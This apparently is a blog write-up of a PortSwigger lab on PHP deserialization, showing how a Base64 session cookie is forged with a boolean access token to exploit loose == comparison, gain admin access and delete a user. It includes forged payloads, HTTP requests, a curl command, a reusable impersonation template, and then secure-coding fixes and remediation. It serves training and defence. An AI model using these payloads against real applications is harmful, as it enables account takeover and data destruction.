Web Security Academy: Modifying Serialized Data Types

· falasi.net


Table of Contents

Summary #

The lab presents an application that uses serialized PHP objects as session cookies. After logging in as a low-privileged user, the session cookie decodes to a serialized User object containing a username and an access_token. The application appears to validate the session by comparing the supplied access_token against a stored value and on the back of that check, decides whether the requester is privileged.

Because the session is opaque to the user only by virtue of Base64, the entire object is editable. The interesting question is not whether the cookie can be tampered with that part is given but whether tampering can defeat the comparison without knowing the legitimate access token. The vulnerability turns out to live in the choice of comparison operator on the server side, not in the deserialization itself.

The attack chain is short: log in as wiener, mutate the serialized object so that the access token deserializes to a value that PHP's loose comparison treats as equal to the legitimate string, replay the cookie against the admin panel, and delete carlos.


Methodology #

The approach proceeds from "the cookie is structured data I can edit" toward "what specifically does the server check, and how does it check it":

  1. Log in normally and capture the post-login session cookie.
  2. Decode the cookie and identify the serialization format.
  3. Edit the username to administrator and observe what fails.
  4. Examine the access token field its type, length, and likely role on the server.
  5. Exploit PHP's loose comparison behavior by changing the access token's type rather than its value, so that no knowledge of the legitimate token is required.
  6. Confirm admin access and use the admin panel to delete carlos.

Step 5 is the load-bearing step. Everything before it is reconnaissance; everything after it is cleanup. The pivot from "I need to forge a valid access token" to "I need to make == return true against any legitimate token" is the actual exploit.


After logging in as wiener:peter, the post-login GET /my-account request carries a session cookie that is plainly Base64-encoded:

Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ1cjZud3poN2JpYmt6M3hsbXZ0ZjJldG9oNHdubXMxZyI7fQ==

Decoded, this is a serialized PHP object:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ur6nwzh7bibkz3xlmvtf2etoh4wnms1g";}

The structure follows PHP's standard serialize() format. O:4:"User":2 declares an object of class User with two properties; each property is then a name/value pair where every entry carries an explicit type marker and length. The relevant subset of the format for this lab:

s:N:"value";   string of length N
i:N;           integer with value N
b:0; or b:1;   boolean

Two properties on the wire: a username (currently wiener) and an access_token (a 32-character hex-looking string). The structure is fully under client control because nothing about the cookie is signed or encrypted the server's only defenses are whatever checks it runs on the deserialized object.


Step 2: Identify the Server-Side Check #

The most direct attack is to swap wiener for administrator and replay. That alone fails to grant access in this lab the server clearly validates the access token alongside the username, otherwise the token field would not exist. So the question becomes: how does that comparison work?

There are two realistic implementations on the server:

1// Strict: knowledge of the real token is required
2if ($user->access_token === $stored_token) { ... }
3
4// Loose: type coercion happens before comparison
5if ($user->access_token == $stored_token) { ... }

Against the strict version, the only path forward is recovering or guessing the legitimate token not feasible for a 32-character random string. Against the loose version, PHP's type juggling rules open up a much shorter path: feed the server a value whose type triggers a coercion that returns true regardless of what the legitimate token contains. The lab's title "Modifying serialized data types" is itself the hint that the second case applies.


PHP's loose equality operator coerces operands before comparing them. Two cases are useful here:

Either approach defeats the check without knowing the real token. I used the boolean form first; the lab's official solution uses the integer form. Both work for the same underlying reason.

The original object:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ur6nwzh7bibkz3xlmvtf2etoh4wnms1g";}

Three edits transform it into the forged version:

  1. Change the username string to administrator and update its length prefix from 6 to 13.
  2. Replace the access token's type marker s:32:"..." with b:1;. The string length and quote characters are dropped, since booleans do not carry length metadata.
  3. Re-encode the result as Base64 and place it in the session cookie.

The forged object:

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}

Base64-encoded:

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2I6MTt9

Note on length prefixes: getting the username length wrong (e.g., leaving it as 6 while the value is administrator) causes unserialize() to fail outright. The cookie has to be internally consistent before the comparison logic is ever reached.


Replaying GET /my-account with the forged cookie:

1GET /my-account?id=wiener HTTP/2
2Host: 0a0600e603617c328197bbf900f30013.web-security-academy.net
3Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2I6MTt9

The application responds with HTTP 200 and the standard account page. The username field still shows wiener because the ?id=wiener query parameter not the cookie drives that part of the rendered page. The signal that the cookie itself was accepted as administrator is found in the navigation header, which now includes a link that is absent for normal users:

1<a href="/admin">Admin panel</a>

The presence of /admin in the navigation confirms that the deserialized object passed the server's privilege check. The forged access token (b:1) was compared against the legitimate stored string under loose equality, the comparison returned true, and the session was treated as administrative.


Step 5: Reach the Admin Panel and Delete the User #

With the same cookie, requesting /admin returns the user management page:

1GET /admin HTTP/2
2Host: 0a0600e603617c328197bbf900f30013.web-security-academy.net
3Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2I6MTt9

The response includes the user table with a delete link per user:

1<a href="/admin/delete?username=carlos">Delete</a>

Issuing the linked request with the same forged cookie solves the lab:

1GET /admin/delete?username=carlos HTTP/2
2Host: 0a0600e603617c328197bbf900f30013.web-security-academy.net
3Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2I6MTt9

Why This Worked #

Two design flaws compound in this lab. Either alone would be a finding; together they collapse the entire authorization model.

The first is the session itself. The session cookie is a serialized object handed to the client with no signature, no MAC, and no encryption. The application is implicitly trusting that whatever object comes back was produced by the application but everything between issuance and validation is under attacker control. The unserialize() call on the server is therefore reconstructing an object whose every field, including its declared type, was chosen by the requester.

The second is the comparison. The application validates the access token using PHP's loose equality (==) rather than strict equality (===). Loose equality applies type juggling: when the operands have different types, PHP coerces one or both before comparing. The relevant rule here is that when one operand is a boolean, the other is cast to a boolean before the comparison and any non-empty string except "0" casts to true. So true == "ur6nwzh7..." returns true regardless of what the stored token actually is. The integer 0 form (used in the official solution) exploits a related coercion rule under PHP 7.x, a non-numeric string compared to an integer is cast to a number and becomes 0, so 0 == "ur6nwzh7..." is also true.

The broken assumption is not "trusted input" in the abstract it is the specific belief that controlling the value of a session field is the only thing that matters. Because the serialization format encodes the type alongside the value, and because the validation uses a comparison operator that respects values but not types, the attacker gets a primitive the developer did not anticipate: changing the shape of the data to defeat the check, without ever needing to recover its content. Type juggling is not exotic PHP trivia in this context; it is the entire vulnerability.

It is worth noting that PHP 8 changed number-to-string comparison under the "Saner string-to-number comparisons" RFC, so the i:0; bypass no longer works on PHP 8+ 0 == "ur6nwzh7..." now returns false. The boolean form is unaffected by that RFC and remains effective. Either way, the underlying problem is the same the fix is to use ===, not to rely on language-version drift.


Code Review Perspective #

What the vulnerable code likely looks like, and how it should be written instead.

Vulnerable Example Direct Pass-Through #

 1class User {
 2    public $username;
 3    public $access_token;
 4}
 5
 6$session = $_COOKIE['session'];
 7$user = unserialize(base64_decode($session));
 8
 9$stored_token = lookup_token_for_user($user->username);
10
11if ($user->access_token == $stored_token) {
12    grant_session($user->username);
13}

The cookie is decoded, deserialized into a User object, and the object's properties feed directly into both the database lookup and the comparison. There is nothing that prevents the attacker from supplying any username paired with any value (or any type) for the access token. The use of == is the immediate bypass; the lack of any integrity check on the cookie is what makes the attack possible at all.

Less Obviously Broken Stricter Comparison, Still No Integrity #

1$user = unserialize(base64_decode($_COOKIE['session']));
2$stored_token = lookup_token_for_user($user->username);
3
4if ($user->access_token === $stored_token) {
5    grant_session($user->username);
6}

Switching to === closes the type-juggling bypass b:1 is now a boolean and will never be strictly equal to a string. The endpoint is no longer trivially exploitable in the way described above.

It is still a bad design. The cookie is unsigned, so the attacker can swap usernames freely; if any user account exists with a recoverable, guessable, or default token, that account can be impersonated. Worse, an attacker-controlled serialized object is being passed into unserialize() against a class the application defines the moment the codebase introduces a class with a __wakeup, __destruct, or __toString method that does anything dangerous, this same endpoint becomes a remote code execution sink via gadget chains. Strict comparison addresses one symptom; the architecture remains hostile.

1$raw = base64_decode($_COOKIE['session']);
2if (strpos($raw, 'b:1') !== false || strpos($raw, 'i:0') !== false) {
3    die('Tampered cookie');
4}
5$user = unserialize($raw);
6// ... loose comparison still in place

Filtering for known type markers in the serialized string is the kind of fix that gets shipped in a hurry and does not survive contact with creative input. The list of values that coerce truthy under PHP's loose comparison is long: b:1, i:0, i:1, integer values that match prefixes of the legitimate token, and so on. The blocklist will always be a step behind. More importantly, it does nothing about the underlying class of vulnerability even if the type-juggling path were perfectly closed, an unsigned attacker-controlled unserialize() input remains a problem.

 1function verify_and_decode($cookie, $key) {
 2    [$payload_b64, $sig_b64] = explode('.', $cookie, 2) + [null, null];
 3    if (!$payload_b64 || !$sig_b64) {
 4        return null;
 5    }
 6    $expected = hash_hmac('sha256', $payload_b64, $key, true);
 7    $given = base64_decode($sig_b64, true);
 8    if ($given === false || !hash_equals($expected, $given)) {
 9        return null;
10    }
11    return base64_decode($payload_b64, true);
12}
13
14$raw = verify_and_decode($_COOKIE['session'], SESSION_HMAC_KEY);
15if ($raw === null) {
16    deny();
17}
18
19$user = unserialize($raw, ['allowed_classes' => ['User']]);
20
21if (!is_object($user) || !($user instanceof User)) {
22    deny();
23}
24
25$stored_token = lookup_token_for_user($user->username);
26if (!is_string($user->access_token) || !hash_equals($stored_token, $user->access_token)) {
27    deny();
28}
29
30grant_session($user->username);

Three things changed. The cookie now carries an HMAC, so any modification is detected before deserialization happens and hash_equals() performs the comparison in constant time, removing a separate timing side channel. The allowed_classes argument to unserialize() constrains which types can be reconstructed, eliminating the gadget-chain class of attack entirely. The token comparison is strict and explicitly type-checked, so the attacker cannot smuggle a non-string value past the check even hypothetically.

Even Better Opaque Server-Side Sessions #

1session_start();
2$_SESSION['username'] = 'wiener';
3// later:
4if ($_SESSION['role'] === 'administrator') { ... }

The strongest fix is to not put authorization data in the cookie at all. Issue an opaque session ID, store the actual session state server-side (database, Redis, PHP's session handler), and look up the user's privileges from that state on each request. Whatever the attacker submits in the cookie is, at most, a key into a server-controlled record there is nothing they can change in the cookie that grants them privileges, because the cookie no longer carries any.


Impact #

An unauthenticated user (or any user who can register a low-privileged account) achieves full administrator access by editing a single cookie. From there, the lab exposes a user management endpoint that allows arbitrary account deletion via GET /admin/delete?username=<target>. In a production analogue of this application, the same primitive would extend to whatever else the admin role can do: privilege escalation of other accounts, content modification, access to internal admin-only endpoints, and disclosure of any data scoped to administrator views.

The blast radius is large because authentication is collapsed into a single cookie field and that field is checked with ==. Anyone who can reach the login page can become an administrator. There is no rate limit or anomaly detection that meaningfully helps here the attack uses one valid login and one modified cookie, which is indistinguishable from normal traffic at the network layer.


Remediation #

The fix has to address both halves of the failure the comparison and the trust model because each independently provides a path to bypass.

The most important change is replacing == with === on every comparison that touches authentication or authorization data. For secrets specifically, hash_equals() is preferable, since it is both strict and constant-time. This single change closes the demonstrated bypass.

The architectural change is to stop putting authorization data in the cookie. Either sign the cookie with an HMAC and verify it before deserializing, or better issue an opaque session ID and store the session record server-side. The first option keeps the existing pattern but adds integrity; the second eliminates the class of vulnerability by making the cookie a meaningless token to the attacker.

If the application has reasons to keep using unserialize() on user-supplied data (it usually does not), the allowed_classes option should always be set, restricting reconstruction to a small, audited list. This does not fix the type-juggling bypass that requires the comparison fix above but it prevents the same endpoint from being upgraded into RCE the moment a usable gadget is introduced into the codebase.


Key Takeaway #

When a session token is structured data rather than an opaque string, the attacker's primitive is not just changing values it is changing types, lengths, and shapes. PHP's loose equality operator turns that primitive into an authentication bypass on its own, with no need to recover or guess the legitimate secret. Whenever a serialized object reaches a comparison against a stored secret, two questions are worth asking immediately: is the comparison strict, and is the object trustworthy at all? If either answer is no, the rest of the validation logic is decorative.


Appendix #

Lab #

PortSwigger Web Security Academy: Modifying serialized data types

Tools Used #

Background Reading #

Useful Commands #

Decode a Base64 cookie value to the underlying serialized object:

1echo 'Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ1cjZud3poN2JpYmt6M3hsbXZ0ZjJldG9oNHdubXMxZyI7fQ==' | base64 -d

Re-encode a forged object back to a cookie value:

1printf 'O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}' | base64 -w0

Send the forged cookie with curl:

1curl -i \
2  -H "Cookie: session=$(printf 'O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}' | base64 -w0)" \
3  "https://<LAB_HOST>/admin"

Reusable Templates #

Wrapping the serialized payload in nested Hackvertor tags lets the cookie remain editable as plain text in Burp Repeater while the outgoing request still carries a Base64-encoded value:

<@urlencode><@base64>O:4:"User":2:{s:8:"username";s:13:"<TARGET_USER>";s:12:"access_token";<@b1@>;}</@base64></@urlencode>

Replace <TARGET_USER> with the username being impersonated. Swap b:1 for i:0 if the application is on PHP 7.x and the boolean form is unexpectedly rejected.

Quick reference: serialized PHP type markers #

s:N:"value";   string of declared length N
i:N;           integer
b:0; / b:1;    boolean
N;             null
a:N:{...}      array of N elements (key/value pairs inside)
O:N:"Name":K:{...}   object of class Name with K properties

When editing serialized payloads by hand, length prefixes (s:N: and O:N:) must match the actual byte length of the following value or unserialize() fails before any application logic runs.

last updated: